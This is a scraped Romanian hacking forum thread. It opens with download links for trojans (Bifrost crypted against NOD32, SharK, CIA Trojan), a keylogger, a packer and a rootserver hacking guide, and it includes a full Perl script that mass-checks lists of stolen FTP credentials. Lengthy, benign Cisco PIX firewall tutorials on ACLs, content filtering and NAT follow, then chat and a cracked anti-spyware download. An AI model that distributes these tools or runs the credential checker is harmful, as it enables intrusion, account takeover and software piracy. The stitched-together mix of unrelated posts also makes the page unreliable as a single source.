Gonzalez

Rootserver hacking 4 Noobs cum sa hackaresti un rootserver ... Download : http://rapidshare.de/files/35833415/rootserver.rar

Bifrost Editing Against NOD Credit: dC3 | Crack Download : http://rapidshare.de/files/36961766/Bifrost_Crypt_UD_NOD32.rar

Credit: CraCk & Deseaster & Co Download : http://rapidshare.de/files/35883398/How2stealth_wothout_AV_Devil.avi.html

SharK 0.2 E un Troian pentru cei ce nu stiu + plugin Credit: dC3 | Mike Downlod : http://rapidshare.de/files/35511240/sharK_0.2.rar

CIA Trojan 1.3 Credit: dC3 | Crack Download : http://erkan.fastsponsors.de/Trojaner/cia_trojan_1.3.rar Password : htool01

LuCypher1.1e Download : http://rapidshare.de/files/35948159/LuCypher1.1e.rar

Perl FTP accounts checker Credit: dC3 | Crack #!/usr/bin/perl ###################################################### # Coded by Satyr [Cyber Lords Community] # [url]http://www.cyberlords.net[/url] ###################################################### use Socket; use IO::Handle; $verbose=1; $pids=100; #5422 #0371 open(LIST,@ARGV[0]); @list=<LIST>; close(LIST); $once=0; while(1) { #9128 #1683519 @check_now=@list[$once..$once+$pids]; for ($i=0;$i<=$pids;$i++) { unless(@check_now[$i]) { killpidz(); exit print "Scan is completen"; } if ($pid=fork()) { push(@forked,$pid); } else { ###################MAIN CHECK########################### $string=@check_now[$i]; chomp($string); $string=~/([^:]+).+)@(.+)/; $ans=check($1,$2,$3); if($ans eq 230){ print "$1 $2 $3 230 - ok!n" } else{ $ans="Error connecting." if $ans eq 0; print "$1 $2 $3 $ansn" if $verbose eq 1; } ######################################################### exit; } } $once+=$pids; killpidz(); } sub check{ my ($user,$pass,$host)=@_; my $protocol=getprotobyname('tcp'); my $host=inet_aton($host) or return 0; socket(SOCK,AF_INET,SOCK_STREAM,$protocol) or die "socket() failed: $!n"; my $dest_addr=sockaddr_in(21,$host); connect(SOCK,$dest_addr) or return 0; SOCK->autoflush(1); sysread(SOCK,$data,1024); print SOCK "user $usern"; sysread(SOCK,$data,100); print SOCK "pass $passn"; sysread(SOCK,$data,100); return $1 if $data=~/([0-9]{3})/; } sub killpidz { foreach (@forked) { chomp; waitpid($_,0); kill("TERM" => $_) } undef @forked; }

TemplateMonster 8967 Download : http://xeem.to/IGApwgG48c

Working Smart in Adobe Photoshop CS2 Download : http://rapidshare.de/files/36992100/GFX-Adobe.Press.Working.Smart.in.Adobe.Photoshop.CS2.Sep.2006.eBook-BBL.rar

Cigicigi Vip 2.0 Platinium Download : http://rapidshare.de/files/36062619/Cigicigi_Vip_2.0_Platinium.rar

IMP Keylogger 1.6 Download : http://rapidshare.de/files/36319058/IMP_Keylogger_1.6.rar

Packer / Themida v1.7.3.0 Download http://rapidshare.de/files/36695720/Themida_v1.7.3.0.rar

Credit: dC3 | Crack

10q very much

daca le ai pe astea toate pe PC iti pusca mersi oricum

We have created an ACL called VPN_NAT, which permits IP traffic from 10.10.10.0/24 going to 10.10.20.0/24. Then we told the PIX not to NAT traffic on the INSIDE interface if it meets the settings laid out in the VPN_NAT ACL. Policy NAT Policy NAT is very commonly confused with NAT Exemption as explained above. Policy NAT allows us to identify traffic that will be translated when it meets a certain criteria that we configure such as destination port and source port. So if we want to NAT a host when it is sending HTTP traffic to Company A (90.90.90.90) to an external IP address but when it sends HTTP traffic to Company Z (100.100.100.100) we want it to use a different external IP address, then we can use policy NAT. The following configuration should make it more apparent: London(config)# access-list COMPANY_A permit tcp 10.10.10.0 255.255.255.0 host 90.90.90.90 eq www London(config)# nat (inside) 5 access-list COMPANY_A London(config)# global (outside) 5 80.80.80.81 netmask 255.255.255.255 London(config)# access-list COMPANY_Z permit tcp 10.10.10.0 255.255.255.0 host 100.100.100.100 eq www London(config)# nat (inside) 6 access-list COMPANY_Z London(config)# global (outside) 6 80.80.80.82 netmask 255.255.255.255 Here is what we just configured: We defined an access-list and called it COMPANY_A which permits tcp traffic from 10.10.10.0 255.255.255.0 going to 90.90.90.90 that is equal to www (HTTP). Then we told the PIX that any traffic that matches the criteria defined in access-list COMPANY_A should be NAT’d to the IP address defined in the global pool with the ID of 5 We then defined the global pool by giving it an ID of 5 and the IP address of 80.80.80.81 255.255.255.255 So when a host on the 10.10.10.0 network sends HTTP traffic to 90.90.90.90 the PIX will NAT it to an external IP of 80.80.80.81 We then configured traffic destined for COMPANY Z in the exact same way, just with the relevant IP addresses. When the PIX sees HTTP traffic destined for 100.100.100.100 it will NAT it to an external IP of 80.80.80.82 The ACL defines the type of traffic to be NAT’d – and the NAT command defines what the translation will be. So we have an ACL in conjunction with a NAT command. Filtering Malicious Code We can also configure the PIX to filter unwanted code such as ActiveX and Java. Although you may thing this will be a very complex thing to configure, it is in fact extremely easy. Java As we all know Java programs can provide an ideal ‘carrier’ through security systems to invade an inside host as they are executable programs that arrive on port 80 – which is nearly always open in most firewalls. Java can contain hidden code that could potentially destroy data on an internal network. Most decent security policies prevent Java Applets from being downloaded/displayed. The Applet filter on the PIX looks out for the ’café babe' string and if found it will drop the packet(s). **Read THIS if you are unsure what café babe refers to. Basically it is the unique ‘Magic Number’ that identifies the type of program ** A sample Java class snippet would be: 0000000: café babe 002 004a 0023 6243 8252 The café babe identifies it as a Java program, which obviously the PIX will see and block the packet. **MAC OS X also used the café babe magic number, so you may want to test the configuration before hand if you have OS X hosts on your network** To configure Java filtering we use the following commands: London(config)# filter java 80 0.0.0.0 0.0.0.0 0.0.0.0 0.0.0.0 The above command simily filters java on port 80 to any local IP address ( 0.0.0.0 0.0.0.0) going to any remote IP address (0.0.0.0 0.0.0.0) Or we could have: London(config)# filter java 80 10.10.10.10 255.255.255.255 0.0.0.0 0.0.0.0 Which would stop the host with the IP address of 10.10.10.10 from downloading a Java Applet from any IP address. We can configure it for individual hosts, subnets or entire networks in this way. ActiveX ActiveX controls or Object Linking and Embedding (OLE) as it's known by some are applets that can be inserted in to web pages or other applications and provide a method of entry on to a network through a firewall as just like java they arrive on port 80 and can be embedded in a web page without the users knowledge and can bring a server to its knees fairly quickly. It is blocked in exactly the same way as Java, we just replace the ‘java’ keyword with ‘activex’ London(config)# filter activex 80 10.10.10.10 255.255.255.255 0.0.0.0 0.0.0.0 Again, it can be configured for certain hosts, subnets or the entire network. URL Filtering The PIX itself can not filter URL’s but instead it can forward requests to a web filter server such as Websense and N2H2 When the PIX receives a request from a user requesting access to a URL the PIX wil querery the URL filter server to enquire if it should block or return the requested web page. Web filter servers can be configured to display a blocking message or to send the users to a particular web site. For large networks multiple web filter servers can be configured, up to a maximum of 16. But you may only use one application at a time, either Websense or N2H2. To configure the PIX to use a Websense server the following command is used: London(config)# url-server (inside) vendor websense host 10.10.10.50 protocol tcp The syntax for a Websense server is as follows: (anything in the [] will be specific to your setup and requirements, anything without the [] should be entered as shown) url-server [interface name] vendor websence host [ip address of server] [timeout in seconds] protocol [tcp | udp | version] And for N2H2 the syntax is: (anything in the [] will be specific to your setup and requirements, anything without the [] should be entered as shown) url-server [interface name] vendor n2h2 host [ip address of server] [port number to talk to n2h2 server, default is 4005] [timeout in seconds] protocol [tcp | udp ] So now we have told the PIX where the web filter server is and what make it is, we need to turn URL filtering on: London(config)# filter url http 0 0 0 0 allow We have told the PIX to filter url’s from data crossing the PIX that or on port 80( http) from any local IP address 0 0 destined for any IP address 0 0. If for any reason the URL filter server was to go offline then the PIX will allow the traffic through. Without the ‘allow’ command at the end the PIX would block all traffic on port 80 until the web filter server came on line again. We can add a few more key words to the end of the command should we so wish: proxy-block – Prevents users from connecting to a HTTP Proxy server longurl-truncate – Enables outbound URL traffic regardless of if the URL buffer is available or not longurl-deny – Denies the URL request if the URL is over the maximum size or the URL buffer is unavailable. cgi-truncate – Sends a CGI script as a URL And finally, with version 6.3 and later of the PIX operating system we can also filter HTTPS and FTP traffic. The syntax is the same as the HTTP command; we just remove the URL keyword and replace HTTP with HTTPS or http://FTP. London(config)#[/url] filter https 0 0 0 0 allow Or London(config)# filter ftp 0 0 0 0 allow If we wanted to could use 443 instead of the HTTPS keyword and 21 instead of the FTP keyword. The only difference is we have one more keyword we can use with FTP filtering and that is interact-block, which would stop a user connecting to an FTP server through an interactive FTP application.

PIX: Access Control Lists and Content Filtering Credit: nokia Hopefully after reading this you will understand the basic and advanced features of ACL’s, how to block ActiveX and Java applets and how to configure URL filtering on a security appliance. Just to recap, by default every PIX has an INSIDE interface with a security level of 100 and an OUTSIDE interface with a security level of 0. There is nothing more secure than the INSIDE interface and likewise there is nothing less secure than the OUTSIDE interface. By default a more secure interface can send traffic to a less secure interface with a minimum of ACL’s configured but if we want to allow traffic from a less secure interface to pass to a more secure one we need to have a static translation and an ACL permitting that type of traffic. An ACL can be configured on any interface to filter both inbound and/or outbound traffic but they are ‘evaluated’ only once per connection. If there is no ACL applied to an interface then the above mentioned default rule set is followed – allowed outbound by default but denied inbound. The guidelines for applying ACL’s are fairly simple. From a higher to lower security level (Inside to Outside) an ACL is used to restrict outbound traffic, so for example it would be applied to the first interface traffic would encounter, in this case the INSIDE interface. The source IP address in the ACL is the real address of the host and/or network not the translated external address. For lower to higher security level traffic the ACL is used to enable traffic from a less secure network to traverse he PIX so it is applied to the less secure interface, e.g. OUTSIDE interface, an ACL on the OUTSIDE interface can also be used to restrict protocols. The destination IP address in the ACL will be the external translated address. The following diagram will explain it a bit better: London(config)# static (inside, outside) 80.80.80.80 10.10.10.20 netmask 255.255.255.255 Translated IP 80.80.80.80 --DMZ-- 10.10.10.20 |Internet|--->--->--->--->--->--->--->| PIX | --->--->--->--->--->--->| Web Server | So we have a web server in a DMZ with a real IP of 10.10.10.20. This is translated to 80.80.80.80 on the outside interface of the PIX, in other words an internet user puts 80.80.80.80 into his web browser which then arrives at the PIX interface, the PIX knows that anything coming to 80.80.80.80 needs to go to 10.10.10.20. But what if FTP, Telnet, SMTP etc traffic arrives? We have not told it what traffic is allowed on what port and from what host(s). Remember a static translation needs two things, a Address translation and an Access List that is applied to the correct interface. To reiterate what I said before about applying the correct ACL to the correct interface; if the ACL saying that only HTTP traffic was allowed to go the web server was applied to the DMZ interface, the PIX would have dropped the traffic before it ever gets a chance to reach the DMZ….why? If you remember back to the last paper about the process the PIX goes through when traffic comes in:- In step one the PIX checks the Access Rules of the interface the packet is received on…..if we applied the ACL for the web server on the DMZ interface the PIX will never look there for it, so will presume there is none…..even though there is a translation for it, there is no rule telling the PIX it is allowed to send it, so ultimately the packet will be dropped. If we apply it on the OUTSIDE interface, and thus the first interface the traffic encounters on its way to the web server, when the PIX looks for an access rule, the ACL is there and the PIX will act accordingly If you want to restrict traffic leaving your network, put your ACL on the inside interface, if you want to restrict it coming in put it on the outside interface. So what access rule do we apply? London(config)# access-list ACLOUT permit tcp any host 80.80.80.80 eq www Here is the break down: access-list – tells the PIX we are configuring a ACL ACLOUT – The name of the access list, this can be anything you want, I have called it ACLOUT to let me know it is the ACL I have applied to the OUTSIDE interface. permit permit the following traffic TCP – TCP traffic any – that comes from any host on the OUTSIDE interface host 80.80.80.80 – destined for the host with the IP address of 80.80.80.80. eq – equal to [the type of traffic being permitted] www – the type of traffic allowed, in this case HTTP, we can use [port] 80 instead if we want. So in a nutshell, any TCP traffic coming from any host that is destined for 80.80.80.80 and is HTTP traffic will be allowed to pass through as per the translation rule we have set up. If UDP traffic, or say FTP traffic came in it would be dropped. When configuring an ACL by default you deny everything else. So after entering the above ACL, we will have denied EVERYTHING that does not meet the criteria laid down in that ACL. Once we have compiled the ACL we still need to apply it to the correct interface using the rules I mentioned above. The following command is used for this: London(config)# access-group ACLOUT in interface outside The breakdown of the command is: access-group- – tells the PIX we want to bind an access list to an interface ACLOUT – the name of the ACL we want to bind to the interface. We can only apply one ACL to an interface using the access-group command in – The direction of traffic that will be affected by this ACL, in this case inbound traffic. interface outside – this speaks for itself, we have applied the ACL to the OUTSIDE interface. So we have now told the PIX that any HTTP traffic incoming to the OUTSIDE interface, from ANY IP address destined for 80.80.80.80 on port 80 is allowed to pass through as per the translation rule. The PIX will now look at the translation table, see the 80.80.80.80 is translated to 10.10.10.20 and allow the HTTP traffic to pass through. *It is a good habit to name the ACL’s using capital letters, such as ACLOUT, to make it more obvious when viewing the configuration afterwards.* We can use the following commands to view our access lists/groups: sh access-list sh run access-group With version 7 of the PIX operating system we have the ability to use time based ACL’s, so for example we could permit traffic to a web server from the hours of 09:00 – 13:00 only. Or if a temporary worker was hired for a month and needed access to something you could set an ACL to allow him access to the server between certain hours for a one month period. Timed ACL’s (tACL) depend on the system clock, so ensure the clock and date are correct, it is best to configure the PIX to use NP times from an NTP server (explained in an earlier paper). Like most of the PIX commands, the command relates to what we are doing: London(config)# time-range WEB-SERVER London(config-time-range)# Obviously the command we use to tell the PIX we are configuring a tACL is time-range the WEB-SERVER is the name of the tACL, and again it is a good practise to use capital letters for brevity reasons when viewing configurations. London(config)# time-range WEB-SERVER London(config-time-range)# absolute start 00:00 1 october 2006 end 00:00 20 october 2006 London(config-time-range)# periodic weekdays 8:00 to 17:00 Now we have two different commands, the absolute command defines the absolute start and finish time of the tACL’s validity, this can be as long or as short as is needed. The Periodic command sets the recurring weekly time for the tACL. So our tACL called WEB-SERVER would apply from 08:00 to 17:00 on every weekday between midnight on the 1st October to midnight on the 20th October. Now we have defined when the tACL is valid to and from, we need to define what the actual tACL actually allows: London(config)# static (dmz,outside) 80.80.80.81 10.10.10.21 London(config)# access-list ACLOUT permit tcp host 123.123.123.123 host 80.80.80.81 eq www time-range TEMP-WORKER So we have statically translated a web server to an external IP in the normal way, then created the necessary ACL permitting tcp traffic from host 123.123.123.123 going to host 80.80.80.81 with traffic that equals www, then we told the PIX to apply a time range to it and the time range that it needs to apply is what we specified in the TEMP-WORKER tACL. Modifying ACL’s Obviously we are not going to get the ACL’s correct first time and they are not going to remain unchanged for the lifetime of the firewall. ACL’s on the PIX or given consecutive line numbers, to allow us to change, add or remove Access Control Entries (ACE) without having to change the entire ACL. An ACL is made up of one or more ACE’s. If we issue the ‘sh access-list’ command the output will be along the lines of: London(config)# sh access-list access-list ACLOUT line 2 permit tcp any host 80.80.80.80 eq www (hitcnt=0) access-list ACLOUT line 3 permit udp any any (hitcnt=0) access-list ACLOUT line 4 permit tcp any any eq ftp (hitcnt=0) access-list ACLOUT line 5 permit tcp any any eq https (hitcnt=0) **The hitcnt (hit count) shows us how many times that specific ACE has been used by the PIX which gives us the best indication of if they are being used or not.** The PIX automatically adds the line numbers for the ACE’s and requires no configuration from the administrator. **The line numbers are only displayed when you issue the sh access-list command and will not appear when you view the running or startup configuration** So say we add a new web server with the IP of 80.80.80.81, we need to be able to add the ACE without taking down the whole ACL. Here is what we do: London(config)# access-list ACLOUT line 3 permit tcp any host 80.80.80.81 eq www This would add the ACE to the ACL at line 3 and push the other ACE’s down one (unlike a router where this command would overwrite the existing ACE) London(config)# sh access-list access-list ACLOUT line 2 permit tcp any host 80.80.80.80 eq www (hitcnt=0) access-list ACLOUT line 3 permit tcp any host 80.80.80.81 eq www (hitcnt=0) access-list ACLOUT line 4 permit udp any any (hitcnt=0) access-list ACLOUT line 5 permit tcp any any eq ftp (hitcnt=0) access-list ACLOUT line 6 permit tcp any any eq https (hitcnt=0) Or if we decide we don’t need a particular ACE anymore we use the ‘no’ command to remove it from the ACL. London(config)# no access-list ACLOUT line 3 permit tcp any host 80.80.80.81 eq www Remarks When a lot of ACE’s are configured in an ACL viewing and administering them can become very hard indeed, especially when you are looking for a certain ACE to alter. For this reason Cisco have given us the option to add a remark to an ACE to better explain to us or subsequent administrators what the ACE is for. London(config)# access-list ACLOUT line 1 remark BILLING WEB SERVER ACE London(config)# access-list ACLOUT line 3 remark ORDERING WEB SERVER ACE London(config)# sh access-list Access-list ACLOUT line 1 remark BILLING WEB SERVER ACE access-list ACLOUT line 2 permit tcp any host 80.80.80.80 eq www (hitcnt=0) access-list ACLOUT line 3 remark ORDERING WEB SERVER ACE access-list ACLOUT line 4 permit tcp any host 80.80.80.81 eq www (hitcnt=0) access-list ACLOUT line 5 permit udp any any (hitcnt=0) access-list ACLOUT line 6 permit tcp any any eq ftp (hitcnt=0) access-list ACLOUT line 7 permit tcp any any eq https (hitcnt=0) As you can see in the above output the remark is inserted above the ACE it is remarking about and all the subsequent line numbers are incremented by one. This is a good example as to why anything like this should be wrote in capitals, as it stands out straight away for us. A remark can be up to 100 characters long. ICMP ICMP can be configured in pretty much everyway imaginable on the PIX. By default pinging through the PIX to a PIX interface is not allowed but pinging an interface from a host attached to that interface is permitted. So for example a host on the internal network can ping the INSIDE interface but not the OUTSIDE interface. It is recommended to permit ICMP type 3 messages (destination unreachable) as denying this type 3 ICMP disables the ICMP MTU discovery which can cause IPSec and PPTP traffic to fail. To allow ICMP we use the following command: London(config)# icmp permit any echo-reply outside London(config)# icmp permit any unreachable outside The syntax for the ICMP commands is: icmp {permit | deny} Source Address Source mask {icmp type} {interface name} So icmp permit 80.80.80.81 255.255.255.255 echo outside icmp deny any redirect outside And so on. You can find a list of all the different ICMP types here: http://www.iana.org/assignments/icmp-parameters To remove all ICMP configurations use the ‘clear icmp’ command: London(config)# clear icmp Alternative methods for using an ACL NAT exemption Up until now we have only used ACL’s to permit or deny traffic. ACL’s can be used in conjunction with other commands to alter the normal flow of traffic. Take a site to site VPN for example, even though we may have told the PIX that everything leaving the OUTSIDE interface needs to be NAT’d, we would not want our VPN traffic to be NAT’d but rather tunnelled. Hence we need to tell the PIX to exempt the VPN traffic from NAT. As mentioned earlier we do this with the NAT 0 command – but we can take this one step further with a NAT 0 access-list command. London(config)# access-list VPN_NAT permit ip 10.10.10.0 255.255.255.0 10.10.20.0 255.255.255.0 London(config)# nat (inside) 0 access-list VPN_NAT London(config)# nat (inside) 1 You should by now be familiar with the layout of ACL’s, so I will only briefly explain the above.

Credit: nokia There are only 6 steps that need to be taken to enable the PIX to be able to send packets to the outside world, known by some as the PIX SIX, they are: Hostname Interface Nat-Control Nat Global Route Hostname: This assigns a host name to the PIX and should be called something that is meaningful for that particular PIX. The prompt will change to what you call the PIX when you set this and is set in the configuration mode with the command ‘hostname <name>’, like so: pixfirewall>en password: pixfirewall#conf t pixfirewall(config)# hostname London London(config)# Notice ‘pixfirewall’ now becomes ‘London’. Usually the firewall may be named after its geographic location, the service/project it is protecting etc. I look at it in such a way that if you have 3 different telnet sessions open to three different PIX’s you will always know exactly what you are configuring. The hostname can be up to 63 alphanumeric characters in either uppercase of lowercase and defaults to ‘pixfirewall’ out of the box or when the ‘wr erase’ command is used followed by a reload. Interface: The interface command differs per PIX operating system, in version 7 it acts much like a Cisco router and drops you in to the ‘config-if’ sub context. On version 6.3 and earlier the prompt will not change and the command should be issued all on the one line. For this paper we are using version 7 The Interface or ‘int’ for short is the configuration command we use to allow us to alter the configuration of the PIX interfaces. We can assign it an IP address, subnet mask etc from this sub context. London (config)# interface ethernet0 (or ‘int e0’ for short) London (config-if)# Notice with version 7 the prompt now changes to ‘config-if’ to let us know we are configuring an InterFace. We can now configure the interface with a name, IP address, speed settings and duplex settings amongst others. London (config-if)# nameif outside Although it is already named outside by default the above example is to show the relevant command. ‘nameif’ as is fairly obvious, is used to assign a name to the interface. Next we need to assign an IP address and subnet mask: London (config)# interface ethernet0 (or ‘int e0’ for short) London (config-if)# nameif outside London (config-if)# ip address 80.80.80.80 255.255.0.0 If you make a mistake whilst entering this command, simply re-enter the correct information. The ‘clear configure ip’ command will clear ALL interfaces IP addresses to no IP address. Interfaces can also be configured to pick up a DCHP assigned IP address, by using the ‘dhcp’ command. London (config)# interface ethernet0 (or ‘int e0’ for short) London (config-if)# nameif outside London (config-if)# ip address dhcp The PIX will now pick up a DCHP IP address on the OUTSIDE interface. There are various DHCP commands we can use to view information about the DHCP IP address, such as the lease time etc London# sh ip address outside dhcp lease And London# sh ip address outside dhcp server The above will both provide you with information about the DHCP server and details about the IP address that the interface has been assigned. To stop the interface from getting a DHCP IP address we use the ‘no’ command before the dhcp command. So: London (config-if)# no ip address dhcp *Most of the commands you issue via the CLI can be disabled by re-entering them with the word ‘no’ in front of them.* Next we need to assign a security level to the interfaces (the INSIDE and OUTSIDE interfaces have a precompiled security level, but for this example we will set them anyway). A security level can be between 0 and 100, with 100 being the highest and most trusted. See part one if you want to read more about security levels. To set it we use the ‘security-level’ command: London (config)# interface ethernet0 (or ‘int e0’ for short) London (config-if)# nameif outside London (config-if)# ip address 80.80.80.80 255.255.0.0 London (config-if)# security-level 0 By default interfaces with the same security level can not communicate, to enable it use the ‘same-security-traffic’ command. This may be handy when you have a DMZ and you want it to be able to communicate with the INSIDE network without NAT being preformed. London (config-if)# same-security-traffic Next we need to tell the interface what speed and duplex settings we want it to operate at. By default all interfaces are set to automatic detection and will try to detect the best speed and duplex settings to work at. However sometimes you may need to configure them manually. The speeds for an Ethernet cable you can choose from are 10, 100, auto or nonegotiate. 10 = 10BASE-T 100 = 100BASE-T Auto = automatically sets the speed Nonegotiate = for small form factor pluggable media types (SFP) and sets the speed to 1000Mbps. London (config)# interface ethernet0 (or ‘int e0’ for short) London (config-if)# nameif outside London (config-if)# ip address 80.80.80.80 255.255.0.0 London (config-if)# security-level 0 London (config-if)# speed 100 London (config-if)# duplex full Network Address Translation (NAT) As this paper is about configuring a PIX and not explaining how network protocols work I will very briefly explain about NAT. Network Address Translation enables you to prevent external hosts from learning your internal IP addresses. It accomplishes this by translating internal IP address, which is not routable over the internet, in to a globally unique IP address, which is routable over the internet. If you assigned your PC an IP address of 192.168.2.2 and tried to put it directly on the internet you would neither be able to receive or send traffic as the first router would drop your packets as soon as it saw your IP address. This poses a problem for anyone with more than one computer behind a single connection, as if the above is true we would need an external IP address for every single computer on our network – which is obviously not possible as all the valid IP addresses would be used up very quickly. Enter NAT. Providing certain criteria are met the PIX will translate internal addresses to an external address as per your configuration. To anyone looking from the internet it will look like you have an external IP assigned to you and in most cases will never find out your internal address. When an outbound IP packet that is sent from a device on the INSIDE network reaches your PIX which has NAT configured the source address is extracted and then compared with a table of existing translations. If the source address is not already in this table, it is now translated to an address taken from our external pool of addresses called a Global Pool. The table is now updated and the packet is forwarded on with our new external IP address in the source address part of the frames header. This entry will stay in the translation table for three hours by default (this can be changed manually) if no activity is detected for this translation after the three hours it is removed and the external IP is free to be used for another host. Configuring NAT To configure NAT we first need to tell the PIX which hosts/networks on our INSIDE interface are allowed to be translated and them we tell it what we would like them to be translated to. We can configure NAT on a global level with the command ‘nat-control’. If we enter the nat-control command we are telling the PIX that all addresses need to be translated before packets can be sent out of another interface. The opposite is ‘no nat-control’ which means that all hosts can send packets and only where a specific NAT rule has been entered will a translation take place. No nat-control is the default. There are two types of NAT policies on a PIX; Inside NAT Policy and Outside NAT Policy. As their names suggest if Inside NAT Policy is enabled all INSIDE hosts need to have an inside NAT rule configured, likewise it Outside NAT is enabled all OUTSIDE addresses must have an outside rule configured We configure NAT by telling the PIX, which interface the hosts/network is on that we want to translate: London (config)# nat (inside) 1 0.0.0.0 0.0.0.0 The above tells the PIX that we want to perform nat on the (inside) interface, the 1 is the ‘nat group’ we have assigned it, this will be come apparent later, the 0.0.0.0 0.0.0.0 tells the PIX that we want to perform NAT on everything that is attached to the INSIDE interface. We could substitute this with 192.168.2.2 255.255.255.255 which would say that the host with that exact IP address needs to be NAT’ed or we could use 192.168.1.0 255.255.255.0 which would say that everything between192.168.0.1 and 192.168.0.255 needs to be translated. *The 0.0.0.0 0.0.0.0 can be abbreviated to 0 0 however this can look a bit confusing to anyone not comfortable configuring a PIX so you may want to use 0.0.0.0 0.0.0.0.* So now we have told it what IP addresses that require translating we need to tell the PIX what we want them translated to. To do this we use the ‘global’ command. London (config)# global (outside) 1 80.80.80.81 – 80.80.80.200 The above command tells the PIX that we are assigning global IP addresses on the (outside) from NAT group 1 and the range of address available are 80.80.80.81 – 80.80.80.200 Our configuration so far: London (config)# interface ethernet0 (or ‘int e0’ for short) London (config-if)# nameif outside London (config-if)# ip address 80.80.80.80 255.255.0.0 London (config-if)# security-level 0 London (config-if)# speed 100 London (config-if)# duplex full London (config-if)# end London# conf t London (config)# nat (inside) 1 0.0.0.0 0.0.0.0 London (config)# global (outside) 1 80.80.80.81 – 80.80.80.200 So now all hosts on the INSIDE interface will be translated to an address between 80.80.80.81 to 80.80.80.200 whenever the send traffic from the INSDIE interface to the OUTSIDE interface. *If the NAT command is used there MUST be a GLOBAL command, otherwise NAT will not work* We can use static NAT’s that NAT a specific IP address either on the INSIDE or OUTSIDE interface to another IP on a different interface but this will be covered later in the Advanced PIX Configuration papers. Route Just like a router we need to tell the PIX where to send traffic destined for unknown and known IP addresses. We do this by configuring Static and/or Default Routes. A static route is basically saying ‘To send a packet to the specified network, send it to this router’ A default route tells the PIX where to send traffic destined for an IP address/network not in its routing table. We normally configure a default route to state where internet traffic should go. It is impossible to enter every IP address on the internet in to the PIX’s routing table but it is easy to enter out internal networks in to it. So we say that, if there is no entry in the routing table, then the traffic is destined for the internet so send it here. If when the packet gets to the gateway it is not destined for the internet and has an internal IP, it will be dropped for reasons mentioned earlier. London (config)# route outside 0.0.0.0. 0.0.0.0 192.168.2.1 1 The above is an example of a default route. It is saying to route traffic out the outside interface if the IP address is not in the routing table 0.0.0.0. 0.0.0.0 to the router with the IP address of 192.168.2.1 which is 1 hop away. London (config)# route inside 10.10.10.0 255.255.255.0 10.10.10.1 1 The above is an example of a static route. This is telling the PIX that any traffic arriving on the inside interface destined for the 10.10.10.0 network should be sent to the router with the IP address of 10.10.10.1 which is 1 hop away. London (config)# interface ethernet0 (or ‘int e0’ for short) London (config-if)# nameif outside London (config-if)# ip address 80.80.80.80 255.255.0.0 London (config-if)# security-level 0 London (config-if)# speed 100 London (config-if)# duplex full London (config-if)# end London# conf t London (config)# nat (inside) 1 0.0.0.0 0.0.0.0 London (config)# global (outside) 1 80.80.80.81 – 80.80.80.200 London (config)# route outside 0.0.0.0. 0.0.0.0 192.168.2.1 1 London (config)# route inside 10.10.10.0 255.255.255.0 10.10.10.1 1 London (config)# end London#wr mem There we have our finished initial BASIC configuration. We have named an interface, assigned it an IP address and subnet mask, told it what speed to operate at, told it that we want to NAT all hosts on the INSIDE interface to the external IP addresses of 80.80.80.81-200, we have gave it a default route to tell it where to send unknown traffic and we have told it where to send traffic destined for the internal network of 10.10.10.0. Obviously the IP addresses are just for demonstration purposes and all interfaces will need to be configured as above for the PIX to work.

Un nebun incerca sa il convinga pe un doctor ca pisicile zboara aruncand in sus cu pisici. La o fereastra, doi doctori stau de vorba: -Astazi o sa ploua! -Da, vezi ce jos zboara pisicile?

da da e bun

ala da :@ :@

ma voi chiar nu tineti cu echipele din Romania ? si daca bate Steaua va bucurati nu ?

2-1 pentru Steaua real e plina de vedete si nu se descurca

http://FC-steaua-bucuresti.youaremighty.com/

Anti-Virus programs offer insufficient protection against urgently growing threats like Trojans, Worms, Dialers, Hijackers, Spyware and Keyloggers. That's where the protection of AVG Anti-Spyware begins and supplements existing security applications to create a complete security system - because only a complete security system works effectively. Features of AVG Anti-Spyware * NEW Completely renewed user interface * NEW Possibility to create exceptions * NEW Shredder for secure file deletion * NEW XP Antispy * NEW BHO Viewer * NEW LSP Viewer * Heuristics to detect unknown threats * Scanning and cleaning of the Windows registry * Support for NTFS-ADS scanning * Daily database updates * Patch proof by using strong signatures * Analysis tools (startup, connections and processes) * Intelligent online-update * Scan inside archives * Secure detection and deletion of DLL-Trojans * Generic crypter detection through emulation * Generic binder detection * Free E-Mail Support * Automatic Clean Engine * Quarantine for suspicious files * Multilingual User Interface Additional features of the Plus-Version * NEW Scheduled scans * Real-time monitoring of the entire system * Memory Scan detects active threats * Self-protection at kernel layer guarantees gapless monitoring * Automatic online-update More Information : http://www.ewido.net/en/product/ Download Appz + Fix ( 6.51 MB ) : http://rapidshare.de/files/36842150/cgg0410.rar File Password : www.devilived.com